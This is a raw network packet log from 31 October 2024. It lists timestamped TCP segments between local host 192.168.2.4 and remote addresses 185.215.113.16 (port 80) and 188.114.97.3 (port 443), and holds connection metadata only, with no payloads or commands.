Oct 31, 2024 05:07:33.246637106 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.246648073 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.246659994 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.246660948 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.246711969 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.288022995 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.288038969 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.288049936 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.288060904 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.288144112 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.288172960 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.323472977 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.323497057 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.323518991 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.323523998 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.323530912 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.323540926 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.323563099 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.323602915 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.323740959 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.323751926 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.323812008 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.323884964 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.323898077 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.323909998 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.323934078 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.324160099 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.324173927 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.324209929 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.326834917 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.326879025 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.326888084 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.326899052 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.326909065 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.326946020 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.327079058 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.327090979 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.327102900 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.327126026 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.327141047 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.364739895 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.364756107 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.364767075 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.364779949 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.364793062 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.364821911 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.364855051 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.364893913 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.364911079 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.364953041 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.365034103 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.365073919 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.365078926 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.365087986 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.365127087 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.365331888 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.365350962 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.365362883 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.365402937 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.365439892 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.365452051 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.365463018 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.365477085 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.365492105 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.365519047 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.366231918 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.366252899 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.366264105 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.366312981 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.373162031 CET	443	49955	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:33.373266935 CET	443	49955	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:33.376275063 CET	49955	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:33.377545118 CET	49955	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:33.377573013 CET	443	49955	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:33.407022953 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.407037973 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.407057047 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.407068014 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.407099009 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.407134056 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.442404985 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.442423105 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.442436934 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.442451954 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.442466021 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.442482948 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.442511082 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.442569017 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.442600012 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.442672014 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.442749977 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.442763090 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.442775965 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.442797899 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.442800999 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.442806005 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.442812920 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.442895889 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.446027994 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.446046114 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.446059942 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.446099043 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.446103096 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.446113110 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.446125984 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.446131945 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.446176052 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.483959913 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.483985901 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.483999968 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.484011889 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.484025002 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.484035969 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.484051943 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.484061956 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.484065056 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.484081030 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.484105110 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.484266996 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.484323025 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.484368086 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.484456062 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.484469891 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.484479904 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.484499931 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.484508991 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.484520912 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.484558105 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.484970093 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.484993935 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.485004902 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.485018969 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.485030890 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.525995016 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.526060104 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.526071072 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.526082039 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.526125908 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.526174068 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.561499119 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.561548948 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.561561108 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.561572075 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.561615944 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.561618090 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.561628103 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.561640024 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.561645985 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.561671019 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.561685085 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.561697006 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.561708927 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.561729908 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.561758995 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.562285900 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.562299013 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.562311888 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.562334061 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.564934969 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.564961910 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.564973116 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.565040112 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.565100908 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.565113068 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.565124035 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.565144062 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.602874041 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.602890968 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.602946043 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.603007078 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.603018999 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.603030920 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.603041887 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.603055000 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.603055000 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.603070021 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.603089094 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.603241920 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.603296995 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.603310108 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.603357077 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.603658915 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.603677034 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.603689909 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.603692055 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.603699923 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.603712082 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.603724957 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.603737116 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.603766918 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.603792906 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.604482889 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.604496956 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.604541063 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.617409945 CET	49968	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:33.617454052 CET	443	49968	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:33.617531061 CET	49968	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:33.617904902 CET	49968	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:33.617918968 CET	443	49968	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:33.645076990 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.645083904 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.645095110 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.645112991 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.645144939 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.645144939 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.680334091 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.680347919 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.680360079 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.680387974 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.680402040 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.680407047 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.680505991 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.680546999 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.680571079 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.680630922 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.680741072 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.680752039 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.680763006 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.680779934 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.680807114 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.681041956 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.681060076 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.681082010 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.681181908 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.681193113 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.681205034 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.681217909 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.681226015 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.681241989 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.683928013 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.683939934 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.683949947 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.683993101 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.684026003 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.684062958 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.684072971 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.684082985 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.684118986 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.722197056 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.722263098 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.722282887 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.722295046 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.722307920 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.722320080 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.722331047 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.722335100 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.722349882 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.722354889 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.722373962 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.722398043 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.722629070 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.722649097 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.722667933 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.722829103 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.722842932 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.722856045 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.722877979 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.722888947 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.723088026 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.723141909 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.723154068 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.723189116 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.723366976 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.723378897 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.723388910 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.723409891 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.723413944 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.723428011 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.723440886 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.723459959 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.764452934 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.764472961 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.764493942 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.764516115 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.799424887 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.799468040 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.799479008 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.799482107 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.799490929 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.799511909 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.799575090 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.799623966 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.799634933 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.799642086 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.799647093 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.799691916 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.799722910 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.799763918 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.800043106 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.800054073 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.800065041 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.800086021 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.800127029 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.800138950 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.800167084 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.803792000 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.803812027 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.803823948 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.803843975 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.803864956 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.803914070 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.803925991 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.803962946 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.841278076 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.841332912 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.841363907 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.841383934 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.841398001 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.841406107 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.841432095 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.841483116 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.841511011 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.841525078 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.841526031 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.841541052 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.841569901 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.841592073 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.841630936 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.841963053 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.841993093 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.842006922 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.842048883 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.842195988 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.842238903 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.842293978 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.842307091 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.842319965 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.842334032 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.842339993 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.842355967 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.842371941 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.842806101 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.842856884 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.842858076 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.883400917 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.883423090 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.883438110 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.883464098 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.883491993 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.883493900 CET	49943	80	192.168.2.4	185.215.113.16
